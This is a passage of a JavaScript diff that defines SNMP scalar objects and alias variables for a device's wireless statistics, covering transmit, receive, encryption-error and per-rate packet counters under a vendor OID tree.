+AdvanceWirelessStatsXmit.TxStatusErrors= new Scalar("TxStatusErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.7",2); +AdvanceWirelessStatsXmit.TxOutOfBufsErrors= new Scalar("TxOutOfBufsErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.8",2); +AdvanceWirelessStatsXmit.TxNoAssocErrors= new Scalar("TxNoAssocErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.9",2); +AdvanceWirelessStatsXmit.TxRuntCount= new Scalar("TxRuntCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.10",2); +AdvanceWirelessStatsXmit.TxHeaderCacheHit= new Scalar("TxHeaderCacheHit","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.11",2); +AdvanceWirelessStatsXmit.TxHeaderCacheMiss= new Scalar("TxHeaderCacheMiss","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.12",2); +AdvanceWirelessStatsXmit.TxFIFOUnderflows= new Scalar("TxFIFOUnderflows","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.13",2); +AdvanceWirelessStatsXmit.TxPhyErrors= new Scalar("TxPhyErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.14",2); +AdvanceWirelessStatsXmit.TxPhyCRS= new Scalar("TxPhyCRS","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.15",2); +AdvanceWirelessStatsXmit.TxAllFrameCount= new Scalar("TxAllFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.16",2); +AdvanceWirelessStatsXmit.TxDMAWarCount= new Scalar("TxDMAWarCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.17",2); +AdvanceWirelessStatsXmit.TxRTSFrameCount= new Scalar("TxRTSFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.18",2); +AdvanceWirelessStatsXmit.TxCTSFrameCount= new Scalar("TxCTSFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.19",2); +AdvanceWirelessStatsXmit.TxAckFrameCount= new Scalar("TxAckFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.20",2); +AdvanceWirelessStatsXmit.TxDNLFrameCount= new Scalar("TxDNLFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.21",2); +AdvanceWirelessStatsXmit.TxBeaconFrameCount= new Scalar("TxBeaconFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.22",2); +AdvanceWirelessStatsXmit.TxUnderflowCount= new Scalar("TxUnderflowCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.23",4,1); +AdvanceWirelessStatsXmit.TxTemplateUnderflowCount= new Scalar("TxTemplateUnderflowCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.24",2); +AdvanceWirelessStatsXmit.TxBeaconsCanceledCount= new Scalar("TxBeaconsCanceledCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.25",2); +AdvanceWirelessStatsXmit.TxFIFOOverflows= new Scalar("TxFIFOOverflows","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.26",2); +AdvanceWirelessStatsXmit.TxPRFailures= new Scalar("TxPRFailures","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.27",2); +AdvanceWirelessStatsXmit.TxPRSuccess= new Scalar("TxPRSuccess","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.28",2); +AdvanceWirelessStatsXmit.TxAfterburnerNACKCount= new Scalar("TxAfterburnerNACKCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.29",2); +AdvanceWirelessStatsXmit.TxFragmentCount= new Scalar("TxFragmentCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.30",2); +AdvanceWirelessStatsXmit.TxMulticastCount= new Scalar("TxMulticastCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.31",2); +AdvanceWirelessStatsXmit.TxFailureCount= new Scalar("TxFailureCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.32",2); +AdvanceWirelessStatsXmit.TxRetryCount= new Scalar("TxRetryCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.33",2); +AdvanceWirelessStatsXmit.TxMultipleRetryCount= new Scalar("TxMultipleRetryCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.34",2); +AdvanceWirelessStatsXmit.TxRTSSuccessCount= new Scalar("TxRTSSuccessCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.35",2); +AdvanceWirelessStatsXmit.TxRTSFailCount= new Scalar("TxRTSFailCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.36",2); +AdvanceWirelessStatsXmit.TxAckFailCount= new Scalar("TxAckFailCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.37",2); +AdvanceWirelessStatsXmit.TxFrameCountDot11= new Scalar("TxFrameCountDot11","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.38",2); +AdvanceWirelessStatsXmit.TxChannelRejectFrameCount= new Scalar("TxChannelRejectFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.39",2); +AdvanceWirelessStatsXmit.TxTimerExpirationFrameCount= new Scalar("TxTimerExpirationFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.40",2); +AdvanceWirelessStatsXmit.TxGlitchNACKCount= new Scalar("TxGlitchNACKCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.41",2); +var arTxFrameCount=AdvanceWirelessStatsXmit.TxFrameCount; +var arTxBytesCount=AdvanceWirelessStatsXmit.TxBytesCount; +var arTxRetransmitCount=AdvanceWirelessStatsXmit.TxRetransmitCount; +var arTxErrorCount=AdvanceWirelessStatsXmit.TxErrorCount; +var arTxMgmtFrames=AdvanceWirelessStatsXmit.TxMgmtFrames; +var arTxShortPreambleFrames=AdvanceWirelessStatsXmit.TxShortPreambleFrames; +var arTxStatusErrors=AdvanceWirelessStatsXmit.TxStatusErrors; +var arTxOutOfBufsErrors=AdvanceWirelessStatsXmit.TxOutOfBufsErrors; +var arTxNoAssocErrors=AdvanceWirelessStatsXmit.TxNoAssocErrors; +var arTxRuntCount=AdvanceWirelessStatsXmit.TxRuntCount; +var arTxHeaderCacheHit=AdvanceWirelessStatsXmit.TxHeaderCacheHit; +var arTxHeaderCacheMiss=AdvanceWirelessStatsXmit.TxHeaderCacheMiss; +var arTxFIFOUnderflows=AdvanceWirelessStatsXmit.TxFIFOUnderflows; +var arTxPhyErrors=AdvanceWirelessStatsXmit.TxPhyErrors; +var arTxPhyCRS=AdvanceWirelessStatsXmit.TxPhyCRS; +var arTxAllFrameCount=AdvanceWirelessStatsXmit.TxAllFrameCount; +var arTxDMAWarCount=AdvanceWirelessStatsXmit.TxDMAWarCount; +var arTxRTSFrameCount=AdvanceWirelessStatsXmit.TxRTSFrameCount; +var arTxCTSFrameCount=AdvanceWirelessStatsXmit.TxCTSFrameCount; +var arTxAckFrameCount=AdvanceWirelessStatsXmit.TxAckFrameCount; +var arTxDNLFrameCount=AdvanceWirelessStatsXmit.TxDNLFrameCount; +var arTxBeaconFrameCount=AdvanceWirelessStatsXmit.TxBeaconFrameCount; +var arTxUnderflowCount=AdvanceWirelessStatsXmit.TxUnderflowCount; +var arTxTemplateUnderflowCount=AdvanceWirelessStatsXmit.TxTemplateUnderflowCount; +var arTxBeaconsCanceledCount=AdvanceWirelessStatsXmit.TxBeaconsCanceledCount; +var arTxFIFOOverflows=AdvanceWirelessStatsXmit.TxFIFOOverflows; +var arTxPRFailures=AdvanceWirelessStatsXmit.TxPRFailures; +var arTxPRSuccess=AdvanceWirelessStatsXmit.TxPRSuccess; +var arTxAfterburnerNACKCount=AdvanceWirelessStatsXmit.TxAfterburnerNACKCount; +var arTxFragmentCount=AdvanceWirelessStatsXmit.TxFragmentCount; +var arTxMulticastCount=AdvanceWirelessStatsXmit.TxMulticastCount; +var arTxFailureCount=AdvanceWirelessStatsXmit.TxFailureCount; +var arTxRetryCount=AdvanceWirelessStatsXmit.TxRetryCount; +var arTxMultipleRetryCount=AdvanceWirelessStatsXmit.TxMultipleRetryCount; +var arTxRTSSuccessCount=AdvanceWirelessStatsXmit.TxRTSSuccessCount; +var arTxRTSFailCount=AdvanceWirelessStatsXmit.TxRTSFailCount; +var arTxAckFailCount=AdvanceWirelessStatsXmit.TxAckFailCount; +var arTxFrameCountDot11=AdvanceWirelessStatsXmit.TxFrameCountDot11; +var arTxChannelRejectFrameCount=AdvanceWirelessStatsXmit.TxChannelRejectFrameCount; +var arTxTimerExpirationFrameCount=AdvanceWirelessStatsXmit.TxTimerExpirationFrameCount; +var arTxGlitchNACKCount=AdvanceWirelessStatsXmit.TxGlitchNACKCount; + +var AdvanceWirelessStatsRecv = new Container("AdvanceWirelessStatsRecv", "1.3.6.1.4.1.4115.1.20.1.1.3.46.2"); +AdvanceWirelessStatsRecv.RxFrame= new Scalar("RxFrame","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.1",2); +AdvanceWirelessStatsRecv.RxBytes= new Scalar("RxBytes","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.2",2); +AdvanceWirelessStatsRecv.RxError= new Scalar("RxError","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.3",2); +AdvanceWirelessStatsRecv.RxCtl= new Scalar("RxCtl","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.4",2); +AdvanceWirelessStatsRecv.RxNoBufs= new Scalar("RxNoBufs","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.5",2); +AdvanceWirelessStatsRecv.RxNonDataErrors= new Scalar("RxNonDataErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.6",2); +AdvanceWirelessStatsRecv.RxBadDSErrors= new Scalar("RxBadDSErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.7",2); +AdvanceWirelessStatsRecv.RxBadCMErrors= new Scalar("RxBadCMErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.8",2); +AdvanceWirelessStatsRecv.RxFragErrors= new Scalar("RxFragErrors","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.9",2); +AdvanceWirelessStatsRecv.RxRuntCount= new Scalar("RxRuntCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.10",2); +AdvanceWirelessStatsRecv.RxGiantCount= new Scalar("RxGiantCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.11",2); +AdvanceWirelessStatsRecv.RxNoSCBErrorCount= new Scalar("RxNoSCBErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.12",2); +AdvanceWirelessStatsRecv.RxBadProtoErrorCount= new Scalar("RxBadProtoErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.13",2); +AdvanceWirelessStatsRecv.RxBadSrcMACErrorCount= new Scalar("RxBadSrcMACErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.14",2); +AdvanceWirelessStatsRecv.RxBadDAErrorCount= new Scalar("RxBadDAErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.15",2); +AdvanceWirelessStatsRecv.RxFilterCount= new Scalar("RxFilterCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.16",2); +AdvanceWirelessStatsRecv.RxUnderflowCount= new Scalar("RxUnderflowCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.17",4,1); +AdvanceWirelessStatsRecv.RxFrameTooLongCount= new Scalar("RxFrameTooLongCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.18",2); +AdvanceWirelessStatsRecv.RxFrameTooShortCount= new Scalar("RxFrameTooShortCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.19",2); +AdvanceWirelessStatsRecv.RxBadHeaderCount= new Scalar("RxBadHeaderCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.20",2); +AdvanceWirelessStatsRecv.RxBadFCSCount= new Scalar("RxBadFCSCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.21",2); +AdvanceWirelessStatsRecv.RxBadPLCPCount= new Scalar("RxBadPLCPCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.22",2); +AdvanceWirelessStatsRecv.RxRSGlitchCount= new Scalar("RxRSGlitchCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.23",2); +AdvanceWirelessStatsRecv.RxGoodPLCPCount= new Scalar("RxGoodPLCPCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.24",2); +AdvanceWirelessStatsRecv.RxDataGoodFCSCount= new Scalar("RxDataGoodFCSCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.25",2); +AdvanceWirelessStatsRecv.RxMgmtGoodFCSCount= new Scalar("RxMgmtGoodFCSCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.26",2); +AdvanceWirelessStatsRecv.RxControlGoodFCSCount= new Scalar("RxControlGoodFCSCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.27",2); +AdvanceWirelessStatsRecv.RxRTSGoodFCSCount= new Scalar("RxRTSGoodFCSCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.28",2); +AdvanceWirelessStatsRecv.RxCTSGoodFCSCount= new Scalar("RxCTSGoodFCSCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.29",2); +AdvanceWirelessStatsRecv.RxAcksGoodFCSCount= new Scalar("RxAcksGoodFCSCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.30",2); +AdvanceWirelessStatsRecv.RxDataGoodFCSNoRACount= new Scalar("RxDataGoodFCSNoRACount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.31",2); +AdvanceWirelessStatsRecv.RxMgmtGoodFCSNoRACount= new Scalar("RxMgmtGoodFCSNoRACount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.32",2); +AdvanceWirelessStatsRecv.RxCTRLGoodFCSNoRACount= new Scalar("RxCTRLGoodFCSNoRACount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.33",2); +AdvanceWirelessStatsRecv.RxRTSNoMACCount= new Scalar("RxRTSNoMACCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.34",2); +AdvanceWirelessStatsRecv.RxCTSNoMACCount= new Scalar("RxCTSNoMACCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.35",2); +AdvanceWirelessStatsRecv.RxMulticastDataCount= new Scalar("RxMulticastDataCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.36",2); +AdvanceWirelessStatsRecv.RxMulticastMgmtCount= new Scalar("RxMulticastMgmtCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.37",2); +AdvanceWirelessStatsRecv.RxMulticastCtlCount= new Scalar("RxMulticastCtlCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.38",2); +AdvanceWirelessStatsRecv.RxMemberBeaconCount= new Scalar("RxMemberBeaconCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.39",2); +AdvanceWirelessStatsRecv.RxWDSFrameCount= new Scalar("RxWDSFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.40",2); +AdvanceWirelessStatsRecv.RxOtherBeaconCount= new Scalar("RxOtherBeaconCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.41",2); +AdvanceWirelessStatsRecv.RxTimeoutsCount= new Scalar("RxTimeoutsCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.42",2); +AdvanceWirelessStatsRecv.RxFiFoZeroOverflows= new Scalar("RxFiFoZeroOverflows","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.43",2); +AdvanceWirelessStatsRecv.RxFiFoOneOverflows= new Scalar("RxFiFoOneOverflows","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.44",2); +AdvanceWirelessStatsRecv.RxFiFoTwoOverflows= new Scalar("RxFiFoTwoOverflows","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.45",2); +AdvanceWirelessStatsRecv.RxPRQFIFOCount= new Scalar("RxPRQFIFOCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.46",2); +AdvanceWirelessStatsRecv.RxPRQOverflowCount= new Scalar("RxPRQOverflowCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.47",2); +AdvanceWirelessStatsRecv.RxAfterburnerNACKCount= new Scalar("RxAfterburnerNACKCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.48",2); +AdvanceWirelessStatsRecv.RxAfterburnerConsumedCount= new Scalar("RxAfterburnerConsumedCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.49",2); +AdvanceWirelessStatsRecv.RxFrameDuplicateCount= new Scalar("RxFrameDuplicateCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.50",2); +AdvanceWirelessStatsRecv.RxFragmentCount= new Scalar("RxFragmentCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.51",2); +AdvanceWirelessStatsRecv.RxMulticastCount= new Scalar("RxMulticastCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.52",2); +AdvanceWirelessStatsRecv.RxFCSErrorCount= new Scalar("RxFCSErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.2.53",2); +var arRxFrame=AdvanceWirelessStatsRecv.RxFrame; +var arRxBytes=AdvanceWirelessStatsRecv.RxBytes; +var arRxError=AdvanceWirelessStatsRecv.RxError; +var arRxCtl=AdvanceWirelessStatsRecv.RxCtl; +var arRxNoBufs=AdvanceWirelessStatsRecv.RxNoBufs; +var arRxNonDataErrors=AdvanceWirelessStatsRecv.RxNonDataErrors; +var arRxBadDSErrors=AdvanceWirelessStatsRecv.RxBadDSErrors; +var arRxBadCMErrors=AdvanceWirelessStatsRecv.RxBadCMErrors; +var arRxFragErrors=AdvanceWirelessStatsRecv.RxFragErrors; +var arRxRuntCount=AdvanceWirelessStatsRecv.RxRuntCount; +var arRxGiantCount=AdvanceWirelessStatsRecv.RxGiantCount; +var arRxNoSCBErrorCount=AdvanceWirelessStatsRecv.RxNoSCBErrorCount; +var arRxBadProtoErrorCount=AdvanceWirelessStatsRecv.RxBadProtoErrorCount; +var arRxBadSrcMACErrorCount=AdvanceWirelessStatsRecv.RxBadSrcMACErrorCount; +var arRxBadDAErrorCount=AdvanceWirelessStatsRecv.RxBadDAErrorCount; +var arRxFilterCount=AdvanceWirelessStatsRecv.RxFilterCount; +var arRxUnderflowCount=AdvanceWirelessStatsRecv.RxUnderflowCount; +var arRxFrameTooLongCount=AdvanceWirelessStatsRecv.RxFrameTooLongCount; +var arRxFrameTooShortCount=AdvanceWirelessStatsRecv.RxFrameTooShortCount; +var arRxBadHeaderCount=AdvanceWirelessStatsRecv.RxBadHeaderCount; +var arRxBadFCSCount=AdvanceWirelessStatsRecv.RxBadFCSCount; +var arRxBadPLCPCount=AdvanceWirelessStatsRecv.RxBadPLCPCount; +var arRxRSGlitchCount=AdvanceWirelessStatsRecv.RxRSGlitchCount; +var arRxGoodPLCPCount=AdvanceWirelessStatsRecv.RxGoodPLCPCount; +var arRxDataGoodFCSCount=AdvanceWirelessStatsRecv.RxDataGoodFCSCount; +var arRxMgmtGoodFCSCount=AdvanceWirelessStatsRecv.RxMgmtGoodFCSCount; +var arRxControlGoodFCSCount=AdvanceWirelessStatsRecv.RxControlGoodFCSCount; +var arRxRTSGoodFCSCount=AdvanceWirelessStatsRecv.RxRTSGoodFCSCount; +var arRxCTSGoodFCSCount=AdvanceWirelessStatsRecv.RxCTSGoodFCSCount; +var arRxAcksGoodFCSCount=AdvanceWirelessStatsRecv.RxAcksGoodFCSCount; +var arRxDataGoodFCSNoRACount=AdvanceWirelessStatsRecv.RxDataGoodFCSNoRACount; +var arRxMgmtGoodFCSNoRACount=AdvanceWirelessStatsRecv.RxMgmtGoodFCSNoRACount; +var arRxCTRLGoodFCSNoRACount=AdvanceWirelessStatsRecv.RxCTRLGoodFCSNoRACount; +var arRxRTSNoMACCount=AdvanceWirelessStatsRecv.RxRTSNoMACCount; +var arRxCTSNoMACCount=AdvanceWirelessStatsRecv.RxCTSNoMACCount; +var arRxMulticastDataCount=AdvanceWirelessStatsRecv.RxMulticastDataCount; +var arRxMulticastMgmtCount=AdvanceWirelessStatsRecv.RxMulticastMgmtCount; +var arRxMulticastCtlCount=AdvanceWirelessStatsRecv.RxMulticastCtlCount; +var arRxMemberBeaconCount=AdvanceWirelessStatsRecv.RxMemberBeaconCount; +var arRxWDSFrameCount=AdvanceWirelessStatsRecv.RxWDSFrameCount; +var arRxOtherBeaconCount=AdvanceWirelessStatsRecv.RxOtherBeaconCount; +var arRxTimeoutsCount=AdvanceWirelessStatsRecv.RxTimeoutsCount; +var arRxFiFoZeroOverflows=AdvanceWirelessStatsRecv.RxFiFoZeroOverflows; +var arRxFiFoOneOverflows=AdvanceWirelessStatsRecv.RxFiFoOneOverflows; +var arRxFiFoTwoOverflows=AdvanceWirelessStatsRecv.RxFiFoTwoOverflows; +var arRxPRQFIFOCount=AdvanceWirelessStatsRecv.RxPRQFIFOCount; +var arRxPRQOverflowCount=AdvanceWirelessStatsRecv.RxPRQOverflowCount; +var arRxAfterburnerNACKCount=AdvanceWirelessStatsRecv.RxAfterburnerNACKCount; +var arRxAfterburnerConsumedCount=AdvanceWirelessStatsRecv.RxAfterburnerConsumedCount; +var arRxFrameDuplicateCount=AdvanceWirelessStatsRecv.RxFrameDuplicateCount; +var arRxFragmentCount=AdvanceWirelessStatsRecv.RxFragmentCount; +var arRxMulticastCount=AdvanceWirelessStatsRecv.RxMulticastCount; +var arRxFCSErrorCount=AdvanceWirelessStatsRecv.RxFCSErrorCount; + +var AdvanceWirelessStatsEncrypt = new Container("AdvanceWirelessStatsEncrypt", "1.3.6.1.4.1.4115.1.20.1.1.3.46.3"); +AdvanceWirelessStatsEncrypt.WEPUndecryptableCount= new Scalar("WEPUndecryptableCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.1",2); +AdvanceWirelessStatsEncrypt.TKIPLocalMICFailureCount= new Scalar("TKIPLocalMICFailureCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.2",2); +AdvanceWirelessStatsEncrypt.TKIPCounterMeasuresInvoked= new Scalar("TKIPCounterMeasuresInvoked","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.3",2); +AdvanceWirelessStatsEncrypt.TKIPReplayCount= new Scalar("TKIPReplayCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.4",2); +AdvanceWirelessStatsEncrypt.AESFormatErrorCount= new Scalar("AESFormatErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.5",2); +AdvanceWirelessStatsEncrypt.AESReplaysCount= new Scalar("AESReplaysCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.6",2); +AdvanceWirelessStatsEncrypt.AESDecryptErrorCount= new Scalar("AESDecryptErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.7",2); +AdvanceWirelessStatsEncrypt.FourWayHandshakeFails= new Scalar("FourWayHandshakeFails","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.8",2); +AdvanceWirelessStatsEncrypt.WEPPICVErrorCount= new Scalar("WEPPICVErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.9",2); +AdvanceWirelessStatsEncrypt.DecryptSuccessCount= new Scalar("DecryptSuccessCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.10",2); +AdvanceWirelessStatsEncrypt.TKIPPICVErrorCount= new Scalar("TKIPPICVErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.11",2); +AdvanceWirelessStatsEncrypt.WEPExcludedCount= new Scalar("WEPExcludedCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.3.12",2); +var arWEPUndecryptableCount=AdvanceWirelessStatsEncrypt.WEPUndecryptableCount; +var arTKIPLocalMICFailureCount=AdvanceWirelessStatsEncrypt.TKIPLocalMICFailureCount; +var arTKIPCounterMeasuresInvoked=AdvanceWirelessStatsEncrypt.TKIPCounterMeasuresInvoked; +var arTKIPReplayCount=AdvanceWirelessStatsEncrypt.TKIPReplayCount; +var arAESFormatErrorCount=AdvanceWirelessStatsEncrypt.AESFormatErrorCount; +var arAESReplaysCount=AdvanceWirelessStatsEncrypt.AESReplaysCount; +var arAESDecryptErrorCount=AdvanceWirelessStatsEncrypt.AESDecryptErrorCount; +var arFourWayHandshakeFails=AdvanceWirelessStatsEncrypt.FourWayHandshakeFails; +var arWEPPICVErrorCount=AdvanceWirelessStatsEncrypt.WEPPICVErrorCount; +var arDecryptSuccessCount=AdvanceWirelessStatsEncrypt.DecryptSuccessCount; +var arTKIPPICVErrorCount=AdvanceWirelessStatsEncrypt.TKIPPICVErrorCount; +var arWEPExcludedCount=AdvanceWirelessStatsEncrypt.WEPExcludedCount; + +var AdvanceWirelessStatsRateStats = new Container("AdvanceWirelessStatsRateStats", "1.3.6.1.4.1.4115.1.20.1.1.3.46.4"); +AdvanceWirelessStatsRateStats.PacketsRcv1Mbps= new Scalar("PacketsRcv1Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.1",2); +AdvanceWirelessStatsRateStats.PacketsRcv2Mbps= new Scalar("PacketsRcv2Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.2",2); +AdvanceWirelessStatsRateStats.PacketsRcv5HalfMbps= new Scalar("PacketsRcv5HalfMbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.3",2); +AdvanceWirelessStatsRateStats.PacketsRcv6Mbps= new Scalar("PacketsRcv6Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.4",2); +AdvanceWirelessStatsRateStats.PacketsRcv9Mbps= new Scalar("PacketsRcv9Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.5",2); +AdvanceWirelessStatsRateStats.PacketsRcv11Mbps= new Scalar("PacketsRcv11Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.6",2); +AdvanceWirelessStatsRateStats.PacketsRcv12Mbps= new Scalar("PacketsRcv12Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.7",2); +AdvanceWirelessStatsRateStats.PacketsRcv18Mbps= new Scalar("PacketsRcv18Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.8",2); +AdvanceWirelessStatsRateStats.PacketsRcv24Mbps= new Scalar("PacketsRcv24Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.9",2); +AdvanceWirelessStatsRateStats.PacketsRcv36Mbps= new Scalar("PacketsRcv36Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.10",2); +AdvanceWirelessStatsRateStats.PacketsRcv48Mbps= new Scalar("PacketsRcv48Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.11",2); +AdvanceWirelessStatsRateStats.PacketsRcv54Mbps= new Scalar("PacketsRcv54Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.12",2); +AdvanceWirelessStatsRateStats.PacketsRcv108Mbps= new Scalar("PacketsRcv108Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.13",2); +AdvanceWirelessStatsRateStats.PacketsRcv162Mbps= new Scalar("PacketsRcv162Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.14",2); +AdvanceWirelessStatsRateStats.PacketsRcv216Mbps= new Scalar("PacketsRcv216Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.15",2); +AdvanceWirelessStatsRateStats.PacketsRcv270Mbps= new Scalar("PacketsRcv270Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.16",2); +AdvanceWirelessStatsRateStats.PacketsRcv324Mbps= new Scalar("PacketsRcv324Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.17",2); +AdvanceWirelessStatsRateStats.PacketsRcv378Mbps= new Scalar("PacketsRcv378Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.18",2); +AdvanceWirelessStatsRateStats.PacketsRcv432Mbps= new Scalar("PacketsRcv432Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.19",2); +AdvanceWirelessStatsRateStats.PacketsRcv486Mbps= new Scalar("PacketsRcv486Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.20",2); +AdvanceWirelessStatsRateStats.PacketsRcv540Mbps= new Scalar("PacketsRcv540Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.21",2); +var arPacketsRcv1Mbps=AdvanceWirelessStatsRateStats.PacketsRcv1Mbps; +var arPacketsRcv2Mbps=AdvanceWirelessStatsRateStats.PacketsRcv2Mbps; +var arPacketsRcv5HalfMbps=AdvanceWirelessStatsRateStats.PacketsRcv5HalfMbps; +var arPacketsRcv6Mbps=AdvanceWirelessStatsRateStats.PacketsRcv6Mbps; +var arPacketsRcv9Mbps=AdvanceWirelessStatsRateStats.PacketsRcv9Mbps; +var arPacketsRcv11Mbps=AdvanceWirelessStatsRateStats.PacketsRcv11Mbps; +var arPacketsRcv12Mbps=AdvanceWirelessStatsRateStats.PacketsRcv12Mbps; +var arPacketsRcv18Mbps=AdvanceWirelessStatsRateStats.PacketsRcv18Mbps; +var arPacketsRcv24Mbps=AdvanceWirelessStatsRateStats.PacketsRcv24Mbps; +var arPacketsRcv36Mbps=AdvanceWirelessStatsRateStats.PacketsRcv36Mbps; +var arPacketsRcv48Mbps=AdvanceWirelessStatsRateStats.PacketsRcv48Mbps; +var arPacketsRcv54Mbps=AdvanceWirelessStatsRateStats.PacketsRcv54Mbps; +var arPacketsRcv108Mbps=AdvanceWirelessStatsRateStats.PacketsRcv108Mbps; +var arPacketsRcv162Mbps=AdvanceWirelessStatsRateStats.PacketsRcv162Mbps; +var arPacketsRcv216Mbps=AdvanceWirelessStatsRateStats.PacketsRcv216Mbps; +var 